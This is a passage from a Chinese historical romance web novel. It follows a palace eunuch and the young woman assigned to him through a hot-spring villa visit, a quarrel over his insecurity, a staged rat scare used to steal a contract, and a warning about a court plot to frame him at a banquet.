“谁说不是呢。”冯大祥叹了口气,“今早万岁爷忽然提起这事,许是忘了玄英已经去了那边,还一个劲夸我之前办得好,嘱咐我务必去看看。我总不能当着万岁爷的面说他记混了,只能应下来,说明日一早就出发。” 他倒不是不放心张景和,只是君命难违,再者万岁爷都开口了,他也只能跑这一趟。 冯大祥话锋一转,忽然看向姚砚云和芸娘:“那边庄子里的温泉景致极好,你们要不要一同去转转?权当散散心也好。” 芸娘本就怕冷,闻言连忙摇了摇头:“我就不去了,这天气泡温泉,想想都觉得冷。”说着,她又看向姚砚云,笑了笑,“不如你跟着去?玩个几天,到时候再和玄英一起回京师,也省得他一个人在那边闷着。” 姚砚云有些心动,想了想还是答应了:“那明日我跟着干爹一起出城。” 出了城门,沿着覆着薄霜的官道往华山子方向去,驾着马车约莫一个时辰,就到庄子了。 马车刚在院门前停稳,车帘还未掀开,就见张景和从陵寝方向走来。他身上还沾着些晨露,许是刚巡查完,见了车旁熟悉的身影,脚步顿时加快,迎上前去:“干爹,你怎么突然来了?” 冯大祥笑着拍了拍他的肩,将此次前来的缘由细细说与他听。张景和静静听着,末了连忙侧身让开道路:“干爹一路颠簸,定是累了,快进屋吧。” 话音刚落,车帘“哗啦”一声被掀动,一个清脆的声音跳了出来:“公公,我也来啦!” 张景和循声望去,看清来人是姚砚云时,脚步猛地一顿,眼神里满是错愕,竟下意识地揉了揉眼睛,仿佛怕自己看错了——她怎么会在这里? 冯大祥见状,笑着解释:“哦,是我叫砚云一起来的,你可以带着她玩一两天再回去也行。” 张景和: 三人一同进了屋,冯大祥喝了一杯热茶,便揉着眉心说有些困乏。庄子的管事早已备好客房,连忙上前引着他去休息了。 屋内顿时只剩下姚砚云和张景和两人,空气一时有些安静。姚砚云目光落在张景和身x上,细细打量着,他好像比之前清瘦了些。可这庄子里风景好,衣食也周全,按说该养得更舒展才是,怎么反倒瘦了? 她忍不住先开了口,声音软乎乎的:“公公~” 张景和这才抬眼望向她,目光落在她脸上时,心底莫名掠过一丝微澜。但这丝异动转瞬即逝,他随即敛了神色,沉着脸道:“好好的,你来这里做什么。” 姚砚云小声道:“干爹说这边的温泉水好,最是养人,我便想来泡泡……顺道……顺道也来看看公公你。”说到最后几个字时,她的脸微微红了,声音越发小了,几乎要融进空气里。 张景和听了,嘴角扯了扯:“是吗,这么说你人还怪好的。” 姚砚云却没听出他语气里的别扭,只顺着话头追问:“公公,你是不是在这边水土不服呀?我怎么瞧着你比上次见时瘦了好多。” 张景和眼神闪烁了一下,避开她的目光,淡淡道:“许是你记错了,我没瘦。” 话虽这么说,他心里却泛起嘀咕,她怎么会注意到这些?又转念一想,她向来会讨好人,从前在宫里便是如此,如今这般关注,大抵也只是习惯罢了。这么一想,心里那点莫名的悸动,竟渐渐平复了下去。 坐了一路的车,姚砚云早已乏了,寒暄过后便先去客房歇着了。 晚膳时两人再度碰面,姚砚云渐渐觉出张景和的不对劲,话少了许多,神色也淡淡的,全然没了先前的热络。她试探着问了两句,他只含糊说“无事”,她总不能逼着他开口,只得压下心头疑惑,先回了自己的屋子。 可躺在榻上,姚砚云却越发想不通。明明之前相处得好好的,到底是因为什么事,他就冷了态度?越想越辗转,她索性披了衣裳,又往他的住处去了。 刚到院门口,就看到富贵从里面走了出来:“姚姑娘,公公在泡澡呢。” 姚砚云觉得有点好笑,他怎么和个小姑娘似得,要泡澡啊? 念头一转,她鬼使神差地改了方向,往浴堂走去,当然,她只是在门口和他说几句话而已,她才不会闯进去。 “公公~” “公公~” “公公~” 清脆的声音隔着门板传进去,浴桶里的张景和猛地一惊,他下意识地捂住了自己的身子,整个人都绷紧了。 他又急又窘:“姚砚云,你给我出去,出去,你不要以为我真的不敢对你怎么样。” “你好大的胆子!” 姚砚云道:“公公,我都没进去,我怎么出去啊。” 张景和定了定神,往屏风处一看,门关得好好的,人的确是没进来,这才松了一口气。 姚砚云扯着嗓子喊:“公公,我来这边是想,等会和你聊一聊的。” 张景和道:“你给我闹呢!别人洗澡,你进来聊天?你要不要听听你在说什么。” 姚砚云道:“那还不是公公你,刚才吃晚饭的时候那么冷谈,小云被逼无奈,才这样做的。” 张景和沉默片刻:“你想聊什么,等我出去再说。” 姚砚云心中一喜:“那行,我在厅子那边等你。” 她心里很清楚,两人之间若有误会,唯有及时说开才能化解。一旦拖延,小矛盾只会越积越深,所以今晚她特意来浴堂堵他,就是想把话说明白。 没等多久,张景和就穿着一身月白的常服走进了大厅。他头发还带着点未干的潮气,贴在耳后,脸色算不上好看,显然刚才的插曲还让他有些介怀。 姚砚云正坐在厅里的梨花木凳上,见他进来:“公公,你洗得这么快呀?我还以为要等更久呢。” 张景和坐下道:“你大晚上跑到我屋里来,我倒是想听听你有什么要紧的事要说?” “大晚上就不能来公公屋里了吗?”姚砚云眨了眨眼,试图缓和气氛,“以前在府里的时候,我不也经常晚上待在你屋里,跟你说说话吗?” 张景和脸上忽然掠过一丝阴森。他猛地将姚砚云的凳子拽到自己跟前,两人瞬间近得几乎鼻尖相触,温热的气息都能拂到彼此脸上。他抬手扣住她的下巴,指腹用力捏着那细腻的肌肤,迫使她抬头直视着自己,声音低沉又狠戾:“姚砚云,你不会以为,我真的不敢对你怎么样吧?你以为我是什么正人君子吗?” “还是说,你打心底里就当我是个任你拿捏的软柿子?”—— 作者有话说:又来晚了 第82章 姚砚云方才进来时,脸上还带着轻快的笑意,现在见他这般模样,心头顿时一沉,却也只能顺着他的话说:“小云心里一直很敬重公公,何来拿捏一说啊?” “要不公公你说一说,我何时何地因为什么事情拿捏你了,也好给小云一个改过的机会。” 你……“张景和刚要开口反驳,话到嘴边却卡住了。他心底一阵懊恼,恨自己这猪脑子关键时候竟记不起具体的由头。她明明就是在不动声色地拿捏自己,怎么自己就是想不起来呢? 最终只能冷笑一声,有些虚张声势说了一句:“你自己心里清楚!” 姚砚云很无奈,她清楚什么啊?她要是清楚就不会这样问他了。 小半响她道:“公公你要是觉得小云哪里做的不对,你直说就好了,何必和我弯弯绕绕呢?小云自认为公公是那种通情达理的人,有什么话,我们说明白就好了。” “小云和公公不过才一个月不见,还没生分到这种地步吧?” 张景和哼道:“我还要我怎么通情达理。” 话音刚落,他脸上的神色骤然变了,眼底翻涌起几分阴鸷的委屈:“你在宫里待了那么久,该知道阉人是最小气的吧?哪个阉人不是奸诈阴戾的?当初你的宫里的时候,你们这些宫女没少说这些吧?” 这话像一根细针,轻轻刺了姚砚云一下,她脸色微变,心底却忽然软了,他知道他为何这样了。 姚砚云轻声应道:“是听说过一些。” 话音刚落,她清晰地看见张景和眼底的阴鸷褪去了,紧接着是一丝不易察觉的哀伤。可那哀伤转瞬即逝,他又换上一副无所谓的模样,语气里带着自嘲:“是啊,我这种人,小气,奸诈,阴戾,自然比不上那些文质彬彬的太医,更比不过那些英勇威武的侍卫。” 他抬眼看向她,目光里带着探究,又掺着不甘:“你后悔了吧?当初若没来求我取消和那姓陈的婚事,你如今怕也是侍卫夫人了吧。” “也不会被我这种人缠上了。” 姚砚云心头微怔,这都是多久前的旧事了,他怎么突然又提起来?她定了定神,语气诚恳:“我不后悔,也从来没想过做什么侍卫夫人。” 张景和嗤笑一声:“听你这话,倒是觉得,跟着一个阉人比跟着一个真男人好?” 姚砚云这才彻底明白,他今晚这般反常,定是被什么事刺激到了吧。或许是听见了旁人议论他的身份?这世间,哪个男子不愿昂首挺胸,做个顶天立地的真男儿?可这份缺憾,于他而言,却是刻进骨血的自卑吧。 她看着他,忽然浅浅笑了,眼底盛着温和的光。双手轻轻覆上他扣着自己下巴的手:“公公多次救小云于水火之中,没有公公,我怕是早就活不成了,在小云心里,公公你这样的才是真正的男人。” 张景和的动作骤然顿住。他定定地看着姚砚云,目光一寸寸扫过她的眉眼,只觉得她说的是那么真诚,似乎没有骗他一样。 扣着她下巴的手,终于缓缓放开了 他只觉得浑身忽然麻了一瞬,下意识地垂了垂眼,避开她的目光,可片刻后又猛地抬起来:“你真是这样想的?” 姚砚云道:“公公你救了我两次,一次是让我摆脱了厌恶之人,一次让我重获生机,如果没有你,常圣手又怎么会来给我看病呢?如果没有常圣手,我今日又怎能好好地站在这里,与你说话?” 她顿了顿,目光坦然地迎上他的视线,一字一句道:“所以,是不是真男人,与有没有那东西,又有什么关系呢?” 姚砚云说这话时,并非刻意安慰,而是心底实打实的想法。就说那陈忠义,生得人高马大、威猛不凡,瞧着倒是一副能护人周全的真男人模样x,可骨子里对她何曾有过半分尊重?不过是将她视作寻常玩物,从未真正放在心上。 再看蓝砚舟,性子温和,待她也算宽厚,可那日之事至今想来仍让她寒心——他不问青红皂白,便逼着她向他父亲低头认错。这般愚孝,若真要与他相伴一生,日后遇事,他又能真的站在她这边,为她撑腰吗? 说到底,这样的“真男人”,从来都不是她想要的。 张景和彻底愣住了。他怔怔地看着姚砚云,仿佛要从她眼底挖出答案。 她……真的是这样想的吗? 她她不嫌弃自己吗? 姚砚云见他神色怔忪,眉宇间的戾气较之方才进门时消散了大半,便试探着开口:“公公,你还在气吗?” 张景和喉结滚了滚,下意识反驳:“谁生气了?”话落又故意沉下脸:“大胆,竟然敢猜我的心思。” 姚砚云弯了弯唇角,语气带着狡黠:“哦,那是我在气呗?” 张景和心头一跳,莫名有些心虚,错开了她带着笑意的目光 姚砚云见他把脸转了过去,又问:“公公方才说自己不是正人君子,这话是什么意思?” “我、我就是随口一说!”张景和耳根霎时红透,连耳后都泛着薄红“你这人怎么这么多问题啊。” 姚砚云眼底笑意更浓,故意拖长了语调,指尖点了点桌面:“不是我问题多啊,只是你这样说,很容易让人误会啊。不知情的听了,还当你是喜欢占人便宜、吃姑娘豆腐的轻薄人呢。” 张景和: 她说着往前倾了倾身,刻意模仿他方才的语气,一字一句念得慢悠悠,“你以为我是什么正人君子吗?公公你自己听听,这话落在旁人耳里,可不就容易想入非非?” 张景和觉得这话刺耳的很,也想不明白自己怎么会说出这样的话,当下只能板起脸,故作严肃地看她:“我看你如今是越来越无法无天了,今天你敢取笑我,明天是不是就想骑我头上了?” 姚砚云抬眸看他,眼底飞快掠过一丝笑意,随即换上委屈巴巴的模样,声音软了下来:“小云不敢,小云清楚自己如今的处境,也知道自己的身份,不敢这般托大。” 张景和被她这副模样看得心头一软,语气不自觉缓和了些:“那你倒说说,你如今是什么处境?” “我刚府的时候,公公你就说过,对我半分兴趣都无。”姚砚云低着头,声音轻得像叹息。 “你把我留在这里,不是因为我手段有多高明,也不是因为我这副皮囊有多出挑,只因我是皇上亲赐,你不过是顾忌着皇上的颜面,君上赐下的东西,你纵有千万不乐意,也不能驳了天家的体面。” 说完她又抬起眼“这就是我处境,有了公公这番话,小云怎么敢骑在公公头上?只求公公垂怜,让我稍微好过一些我就满足了。” 张景和: 张景和忽然一愣,眉头微蹙,陷入了沉思。他说过这般绝情的话吗?好像……是说过。可那时候两人关系剑拔弩张,满是猜忌与隔阂,不过是随口搪塞的气话,她怎么竟当真了?还记了这么久? 他道:“这事都过去多久了,你还记着干嘛。” 姚砚云玩着自己的手指,又低着头道:“这话我记一辈子。” 张景和: 张景和一下子无奈起来,一股莫名的无奈涌上心头,夹杂着一些说不清道不明的酸涩。他当时说那番话,是因为两人的关系僵的很,也存在很多矛盾,可现在不一样了,现在,现在他们已经不是当初的他们了 他轻轻叹了口气,语气软了下来:“哎,这个就不要去记了,记些开心的事好不好?” 第83章 第二日清晨,马车就轱辘轱辘地驶在回城的路上了。 车帘缝隙里漏进些清冷的晨光,落在姚砚云微蹙的眉头上,她还在可惜没能泡上庄子那处闻名的温泉,毕竟难得出来了一次,她转头问身侧的张景和:“公公在这边待了这么久,怎么也没去温泉那边轻松轻松呀?” 张景和道:“忘记这茬了。” 姚砚云道:“这么好玩的事情也会忘记啊。” 张景和抬眼,看清她眼底的那丝遗憾:“近来宫里的事堆得满,实在抽不开身。等日后得空了,我再带你过来。” “你上回答应我的事,还没兑现呢,现在又许新的承诺啦。”姚砚云轻轻嘟了嘟嘴,顿了顿,又故意叹了口气,带着点试探道,“不过公公这么忙,说不定上回说的话,早忘到九霄云外去了吧?” 张景和道:“看烟花是吧。” 姚砚云倒愣了一下,眼里闪过一丝惊喜,她原以为他当初只是随口应下,没成想竟真的记着。她立刻坐直了些,语气里满是雀跃:“对呀对呀!公公你可不能再忘啦,现在你可是欠我两次呢,一次温泉,一次烟花!” “知道了。”张景和看着她笑弯的眉眼,嘴角也不自觉地勾了勾。 没过多久,许是清晨起得早,姚砚云就打了个小小的哈欠,她很自然地靠向张景和的肩膀,没一会儿就呼吸轻浅地睡熟了。起初张景和还微微僵了一下,心里暗道这样似乎不妥,想轻声叫她坐直些,可话到了嘴边,看着她安静的睡颜,终究还是咽了回去。 罢了,她愿意怎样就怎样吧,只要她能好好待在自己身边,这点小事,又算得了什么。 马车碾过路面的石子,发出轻微的声响。张景和时不时掀开一角车帘,望着外面渐渐褪去薄雾的田野,晨露沾在麦叶上,远处的村落升起袅袅炊烟,可他的心思却飘回了昨夜,又想到她昨夜说的话。 “公公多次救小云于水火之中,没有公公,我怕是早就活不成了,在小云心里,公公你这样的才是真正的男人。” 想到这话,张景和的嘴角忍不住又扬了起来,心里像是被温水浸过,妥帖又安稳。不管这句话是不是出自她的真心,里面或许有几分讨好,可她愿意这样跟他说,于他而言,就已经足够了。 可这份开心没持续多久,他的眉头又轻轻皱了起来,他忽然想起,如今还有另外一份的契约书在她那边。两年之期到了后,她到时候若拿着契约要走,那他给不给她走呢?如今日子已经过去快半年了,两年的期限,好像转眼就会到了 不行,他得想个办法才行 他又一次掀开帘角,望着外面渐渐热闹起来的官道,忽然像是想到了什么,方才压在心头的阴郁瞬间散了大半,眼里闪过一丝笃定。 他在心里默默盘算:只能先这么办了,其他的事,日后再慢慢想。反正她现在就在自己身边,就算将来她真要走,哪怕追到天涯海角,他也能把她抓回来! 马车轱辘碾过青石板路,带着一路风尘驶入城中,最终在张府朱漆大门前稳稳停下。车帘掀开,张景和与姚砚云下车后,回了自己的院子。 张景和一踏进院子,便立刻叫人唤来了吉祥。吉祥匆匆赶来时,见自家老爷眉头微蹙,神色严肃,心里顿时咯噔一下,暗自揣测莫不是有什么要紧大事要吩咐,不由得挺直了脊背,屏息等着吩咐。 谁知张景和并未直奔主题,反倒缓步走到吉祥身边,又刻意往四周扫了一眼,才微微俯身,凑到吉祥耳边,声音压得极低,轻声交代了几句。 吉祥听完,眼睛倏地睁大,只来得及发出一声短促的“啊?”,脸上满是错愕。 他实在没料到老爷要他办的竟是这事 张景和对他这个反应很不满意,他冷着个脸:“怎么?办不了?” 吉祥这才回过神,连忙压下心头的疑惑,无奈地扯了扯嘴角,赔着笑道:“没什么,小的能办,老爷现在就去吗?” 张景和挑眉:“不然呢?” “是,小的这就去!”吉祥连忙应下,转身出门时,悄悄抬手擦了擦额角沁出的薄汗。他实在摸不透自家老爷的心思,好好的怎么突然要做这事,可主子的心思哪是他一个奴才能揣测的,只能依令行事。 不多时,吉祥便到了姚砚云住的踏月轩。他站在门外,先是轻轻敲了敲门,才温声问道:“姚姑娘在吗?” 是马冬梅开的门,她笑着回话:“吉祥公公,姚姑娘方才歇下没多久呢x,是不是张公公找姚姑娘呢?” 吉祥神色有些无奈,他压低声音道:“是这样,今晨我打踏月轩院外经过时,瞧见有十几只老鼠溜了进来。马姑娘你也知道,这老鼠若是咬了人,可是会传鼠疫的,这事可半点玩笑都开不得。我已经请示过老爷了,特意从外面请了灭鼠的人,等下就进来处理。你看能不能现在把姚姑娘叫醒,你们先去小花园或是鲤鱼池那边避一避,等灭完鼠,我再去通知你们回来。” 马冬梅一听有十几只老鼠,再想到自己小时候被老鼠咬过的经历,顿时觉得头皮一阵发麻,鸡皮疙瘩都起来了,连忙点头:“我知道了!我知道了!我这就去叫醒姚姑娘!” 说着又忍不住多说了一句,“吉祥公公,那辛苦你了,千万要把这些恶心东西抓到啊” 吉祥道:“放心好了。” 话音刚落,马冬梅就急急忙忙往寝室跑,此刻在她眼里,只觉得这满屋子好像都藏着乱窜的老鼠,脚下的步子都快了几分。她冲到床边,轻轻推了推熟睡中姚砚云的肩膀,声音里带着急切:“砚云,你醒醒啊,快醒醒!我们这里来了十几只老鼠啊。” “来老鼠了,十几只啊。” “十几只啊。” 姚砚云迷迷糊糊地睁开眼,还没完全清醒,就听见马冬梅带着颤音的话:“来老鼠了!我们这里来了十几只老鼠啊!” “老鼠?十几只?”姚砚云瞬间清醒,猛地坐起身,眼神慌乱地往四周扫,急切地问:“在哪里?老鼠在哪里!你别吓我啊!”她打小就怕这些尖嘴细爪的东西,一想到十几只老鼠在屋里乱窜,心就跟着发紧。 马冬梅连忙把吉祥的话原原本本地说了一遍。姚砚云听完,只觉得头皮发麻,浑身都不自在。 十几只老鼠啊,要是夜里在屋里“吱吱吱吱”叫,或是顺着床脚爬到床上,那可怎么得了! 她再也坐不住,连忙掀开被子,手脚麻利地找衣服穿,一边穿一边问:“是不是等下就有人来灭鼠了?那我们赶紧出去,别待在这儿了!” “对对对,赶紧走!”马冬梅也跟着附和,两人神色匆匆地收拾了一下,便快步往院子外走。 两人急匆匆地走到院子,刚走到院门口,就撞见了守在那里的吉祥,姚砚云一脸惊恐地道:“吉祥公公,把这些老鼠全杀了!全杀了!一定啊。” 吉祥看着姚砚云紧张的模样,又悄悄擦了擦额角的汗,连忙点头应道:“好的姚姑娘,你放心,保准全杀干净” 说完,他又特意叮嘱两人:“等下灭鼠师傅就到了,两位暂且别回踏月轩,等这边都处理妥当,我再让人通知你们。” 姚砚云和马冬梅连忙点头应下,脚步匆匆地离开了院子。 吉祥站在院门口,目光紧随着两人的背影,直到确认他们走得远了,才迅速转身,将院门从里面牢牢反锁 此前张景和回府后,便急着把吉祥叫到跟前。吉祥原以为是府里有什么要紧事,或是需要他去办什么差事,没成想张景和开口,竟是让他去踏月轩偷东西 说是他之前曾给姚砚云写过一份契约,那份契约里面的内容对他很不利,需要吉祥把那契约拿回来,又让吉祥以踏月轩有老鼠有借口,把两人引开,再趁机进去找 吉祥不敢多问,只记着老爷的吩咐。好在姚砚云住进踏月轩的时日不算久,屋里的东西还不算多,收拾得也还算整齐。他在屋里仔细翻找,最后在一个上了锁的木匣子里,找到了那份契约。吉祥早年学过些开锁的手艺,没费多少功夫就打开了木匣,顺利拿到了东西。 之后他小心地把契约收好,又将屋里翻找过的地方一一归位,确认看不出痕迹后,才快步返回望雪坞。 “老爷,东西拿到了。”吉祥进门后,连忙上前,双手将契约递了过去。 张景和伸手接过,展开一看,果然是当初那份契约。压在心头的一块石头落了地,他脸上露出几分满意的神色,又问道:“她屋里有没有喷些药物?” “喷了些驱虫的药粉,”吉祥回道,“到时候就跟姚姑娘说,是灭鼠师傅留下的痕迹,省得她起疑。” 张景和闻言,满意地点了点头。 又不放心地追问:“你方才翻开的东西,都收拾好了吧?可别留下破绽,让她看出不对劲,还以为是遭了贼。” 吉祥: 吉祥心里暗自嘀咕:这不本来就是做贼嘛?但这话他可不敢说出口,只躬身回道:“老爷你放心,我离开前都仔细收拾好了,保证姚姑娘看不出半点异样。” “那便好。”张景和挥了挥手,“你现在去叫她们回屋吧,外面天儿冷,别冻着了。” 吉祥应声退下后,张景和又拿起那份契约,逐字逐句地看了一遍。 看着上面的内容,他嘴角勾起一抹笑,仿佛在看一个无关紧要的笑话。随后,他摸出一个火折子,“咔”地一声吹亮,将契约凑了上去。火苗迅速舔舐着纸张,很快便将那契约烧成了灰烬 晚上张景和就要进宫去了,便让人去请姚砚云过来一起用晚饭,他也顺便想借着这个机会,瞧瞧她有没有发现自己丢了东西。 姚砚云刚一进屋,便下意识地吸了吸鼻子,随即有些疑惑地看向张景和:“公公,你这边怎么没点灭鼠的药味呀?你这边不请人看看吗?要是让老鼠跑到你这边来,那可怎么好。” 张景和抬眸看了她一眼:“我倒不怕这些小东西,你那边没事就好。” “可老鼠最是恶心了,”姚砚云道,“幸好公公你安排人来处理了,不然我今晚怕是连觉都不敢睡了。” 张景和看她这样子,想必是没发现自己东西不见了,这下总算彻底放心了,他道:“放心吧,该处理的都处理好了。往后要是再发现有老鼠,你直接跟我说一声就是。” 姚砚云笑了笑:“小云知道了。”—— 作者有话说:[好的]今晚难得早了一会。 第84章 方淑宁来到张府的时候,姚砚云正提着一匣精心备好的补品,打算往啊芳的住处去。 方淑宁却说有件急事要和她说一下,姚砚云见她眉峰紧蹙,一脸认真的模样,不似玩笑,就把补品拿给了马冬梅,让她去送。 之后两人来到了姚砚云的寝室,进了屋,方淑宁下意识回身望了眼门外,确认了无人,才轻轻合上木门。 姚砚云瞧她这般神神秘秘的模样,终于忍不住问了:“到底什么事啊,神神秘秘的?” 两人坐下之后,方淑宁问:“姚姐姐,你可知前段时日皇上病重之事?” 姚砚云一怔,想起之前张景和,和她提了一嘴这个事,她道:“略知一二,怎么了?” “皇上是吃了广乐府总督偷偷进贡的药丸,才突然病倒的。”方淑宁的声音压得更低,几乎要贴到姚砚云耳边,“那药丸……原是助风月之事的龌龊东西的” “这事后面被司礼监的人查出来了,安排了锦衣卫连夜策马奔袭,到了广乐府连人都没押回京,就在当地按律斩了。” “那广乐府总督本是内阁首辅高义的心腹。高义素来与司礼监水火不容,先前锦衣卫借着皇上病中模糊的圣谕,直接斩了他的人,高义据说当场气得险些晕厥,这口气哪里咽得下?如今早就在暗中谋划报复了。” “我爹昨日告诉我,这个月尾,揽月阁会有一场御赐宴会。说是去年东部水灾时,盐商们捐了大笔赈灾银两,朝廷特意设宴嘉奖。可高义偏要借着这场宴会做文章,想趁机扳倒司礼监!” “张公公届时要以盐税使的身份出席,而高义已经买通了其中一个盐商,打算让他在宴会上,把那种给皇上送过的药丸偷偷塞到张公公身上!”方淑宁语速渐急,“他们是想栽赃张公公,说上次皇上病重的药丸原是他所献,借着这事把整个司礼监都拖下水!” “姚姐姐,我今日急匆匆来找你,就是为了说这件事!我……” “岂有此理!”姚砚云不等她说完,已经急了,“怎么这么多个秉笔太监,他非得为难我家这位!” 方淑宁: 顿了顿,方淑宁又继续解释:“姚姐姐,高义真正要对付x的不是张公公,是冯公公。只是那晚整个司礼监里,只有张公公要去赴宴,高义这才把主意打到了他身上——这是拿张公公当靶子,要借他的事给冯公公立个下马威。” “姚姐姐,”方淑宁往前凑了凑,“我今日特意过来,就是为了这事,那日宴会,你看能不能想个法子,拖住张公公,让他千万别去。” 这话出口,姚砚云倒生出几分疑惑,这事是方淑宁的爹让她来转达的吗?可她实在想不通,据她所知,方大人素来也与司礼监不对付,怎么会突然帮张景和?她眉头微蹙:“你爹……为何要帮张公公” 方淑宁道:“这事我也问过我爹,他只说如今皇上龙体欠安,北边还在打仗,朝堂本就不稳,他实在不愿见内部再起内斗。说若是张公公真出了事,内阁和司礼监必定彻底撕破脸,到时候朝堂就乱了。” 她顿了顿,又像是想起什么,补充道:“不过我私下里猜,许是还有另一层缘故,上次我在杏花楼遇险,最后是张公公派去的人及时救了我。我爹向来记恩,许是念着这份人情,才不愿见张公公遭人陷害。” 话音落,方淑宁忽然上前抓住姚砚云的手腕,语气急切又带着恳求:“姚姐姐,这事你千万不能让旁人知道,连张公公也不能提!不然高义那边要是知道了,我爹,还有我们方家一大家子,都会被他视作眼中钉、肉中刺,到时候就完了!” 姚砚云语气郑重:“舒宁,你放心,我知道轻重,绝不会说出去。” 方淑宁这才松了口气,又絮絮叮嘱了两句,说她还有事要处理,便起身告辞。姚砚云送她到府门口,看着她掀开车帘坐进马车,直到车轮碾过青石板的声音渐渐远去,才转身回了屋子。 她独自坐在空荡荡的厅堂里,方淑宁的话还在耳边打转。 忽然,院外又传来一阵急促的脚步声,姚砚云刚抬头,方淑宁就快步闯了进来,额角带着薄汗,一把抓住她的手,她的声音都带着颤抖:“姚姐姐,我刚才走在路上越想越怕,还是得再跟你说一遍,这事真的千万不能漏出去!我爹他……他如今在朝堂上本就如履薄冰,要是再被高义抓住把柄,我们家……” 姚砚云轻轻回握她的手:你放心,我不会让张公公去参加那场宴会的,我会以我的方式告诉他。绝不说出一点关于你爹的事情。” 夜色已深,姚砚云人虽躺在床上了,却翻来覆去毫无睡意,她以前看过一些史书,文官与宦官相斗,从来都是刀刀见血、不死不休的狠戾。她越想心越沉,若是张景和真被卷进这漩涡里,落得个万劫不复的下场,那她往后该怎么办? 她把头蒙进被子里,默默掐着日子算,距离月尾那场要命的宴会,偏偏还剩整整十日。这十天里,张景和会不会回府?万一他直接从别处赴宴,连句叮嘱的话都来不及说,就被人暗中算计了……光是想想,心口就像被什么东西堵着,闷得发慌。 天刚蒙蒙亮,姚砚云便披衣起身,匆匆去找了富贵:“你能不能托人去宫里问问,张公公什么时候能回府?哪怕回来一趟也好啊。” 等到日头西斜,消息总算传了回来。富贵匆匆赶来回话时,姚砚云正坐在廊下盯着院门发呆,听见“老爷说四天后回府”这句话,她悬了一整天的心才总算落了地。 只是转念一想,又赶紧盘算起来,这几天得好好琢磨琢磨,怎么才能让他不去那场宴会。 到了第三晚,焦虑又缠上了姚砚云。夜里她竟做了个可怕的梦,梦里张景和被人扣上“弑逆”的罪名,押到刑场上,冰冷的刀锋落下时,她吓得尖叫出声,猛地从梦里惊醒。 好在这场虚惊没持续太久。等到傍晚,张景和终于回来了,姚砚云几乎是跑着迎出去的。看见张景和身着常服、安然无恙地站在眼前,她那颗揪了几天的心才真正松快下来,眼眶竟不知不觉有些发热。 两人挨在一起坐着,张景和拿着一个古董,正目光专注,不知道在看什么东西。 姚砚云侧眸望着他:“公公,我听人说城郊有处温泉,虽不及华山子那处声名远播,却也清净雅致。你带我去玩一日如何?就玩一日,次日便回城,不耽误你多少正事的。” 张景和这才收回目光,放下手中的花瓶:“好啊。” 姚砚云心头猛地一喜,眼底瞬间亮了几分,连忙追问:“那月尾那日可行?第二日便能回城了。” 张景和道:“那日不成,我有事。” 姚砚云脸上的笑意霎时淡了大半,她明知故问:“什么事啊?” “那日有场宴会。”张景和缓缓道来,“去年水灾时捐了赈灾银两的盐商们要进京,我得替皇上颁旨嘉奖。再者,这些盐商着实出了不少力,皇上特意吩咐要妥善安置,来年若再有水患,或许还需仰仗他们。” 姚砚云本想问,能不能换一个秉笔太监去,可想一下别人的命也是命啊,她又问:“那你不去会怎么样?皇上会罚你吗?” “责罚倒不至于。”张景和道“但这是皇上交代的差事,自然要亲自去办才妥当。” 姚砚云一时语塞,心里像被什么东西堵了一下,沉甸甸的。是啊,纵然不去无甚大碍,可那是皇上的吩咐,他得在皇上面前好好表现才行,自己这点小心思,又怎能比得上皇恩眷顾重要? 见她垂着眉眼,张景和便放缓了语气安慰:“你若真想去,便叫上方淑宁她们作伴,我派些锦衣卫护送你们去,这样我也放心。” 姚砚云摇了摇头:“算了。” 之后两人又一起用了晚饭,张景和又说,他明日一早就得进宫去了,末了又提了句要送她回踏月轩。 姚砚云今晚本就心情不佳,偏这顿饭才刚撤下,张景和便提了要送她回踏月轩的话。那点勉强压下的不快顿时如潮水般翻涌上来,沉甸甸堵在胸口。 而且她也忽然意识到,另外一个严重的问题,那就是,她如今和张景和是什么关系呢?那天她说了,想他喜欢他,可他当时是并没有表态啊。 或许他真的不喜欢自己吧。 就比如他今晚这态度,吃完饭就马上让她滚了,还有就是两人这么多天没见了,他看到她的时候,也没多开心的样子。 合计着,这一切都是自己的一厢情愿? 张景和见姚砚云迟迟不起身,便说了一句:“走了。” 姚砚云抬眸望他,语气带着娇嗔:“公公急什么?天还早着呢。”身子却依旧稳稳坐着,未有半分起身的意思。 张景和见状,顺势在她对面重新落座:“那便再坐片刻。” 姚砚云眼珠一转:“若是我想一直坐在这里呢?” 张景和道:“你坐这里干嘛,夜深了,该回去歇息了。” 姚砚云垂下眼睑,声音低了些:“我不想回去,踏月轩……太冷了。” 张景和知道踏月轩暖得很,她分明是故意找由头,他道:“怎么?这是想和我一起睡啊?” 姚砚云道:“是啊,两个人一起睡暖和点。” 张景和只当她是闹着玩,便顺着她的话往下说:“好啊,那你进去睡便是。” 话音刚落,姚砚云竟真的霍然起身,转身就朝着他的寝室方向走去,动作干脆利落,半点不含糊。 张景和惊得心头一跳,连忙起身快步上前,伸手拉住她的手腕:“胡闹!赶紧回去。” 他万万没料到,她竟是来真的,她这是戏弄自己吧?可这样戏弄自己的代价也太大了吧,他就不怕自己真不让她走? 姚砚云停下脚步,转过身来:“公公你这是嫌弃我吗?莫非觉得小云配不上你的床。” 张景和不自然地说了一句:“你瞎说什么呢?” 看着她一脸认真,全然不似玩笑的模样,此刻满脑子只剩下一个念头——得赶紧把这小祖宗送回去,不然指不定还会闹出什么幺蛾子来。 “走了。”他加重了语气,带着明显的催促,“我明日天不亮就得进宫当值,耽搁不得。” 姚砚云却站着不动,反而微微仰头,目光灼灼地望着他:“要我走也可以,但公公得先回答我一个问题。” 张景和只想赶紧把人送走,了结这x场闹剧,便道:“赶紧问。” 话音刚落,姚砚云忽然上前一步,几乎贴近他身前,一字一句,认真得仿佛在问一件关乎一生的大事:“公公,喜欢我吗?” 第85章 张景和觉得自己又聋了,他先是“啊”了一声,表示自己没听清楚。 他这个时候巴不得自己是真聋了,什么都听不见多好啊他心想,自己今晚就不应该回来的,不该来招惹这位小祖宗的。 同时也觉得姚砚云这人他越来越拿捏不住了,她偶尔说的话、做的事,总能像惊雷似的炸在他心上,随便一句就能把他吓得魂不守舍。 就比如这一刻,他承认了自己是软柿子! 可转念一想,自己好歹是御前伺候的大宦官,见惯了天子威仪,朝堂风浪都能从容应对,难道还怕她一个小姑娘不成? 强压下心头的慌乱,张景和腰板一挺:“不走是吧,行啊!那你就在这里站一晚上吧,站累了再回去也不迟。” 姚砚云却不依不饶:“公公,你别岔开话题哦,刚才可是你说的,可以问!” 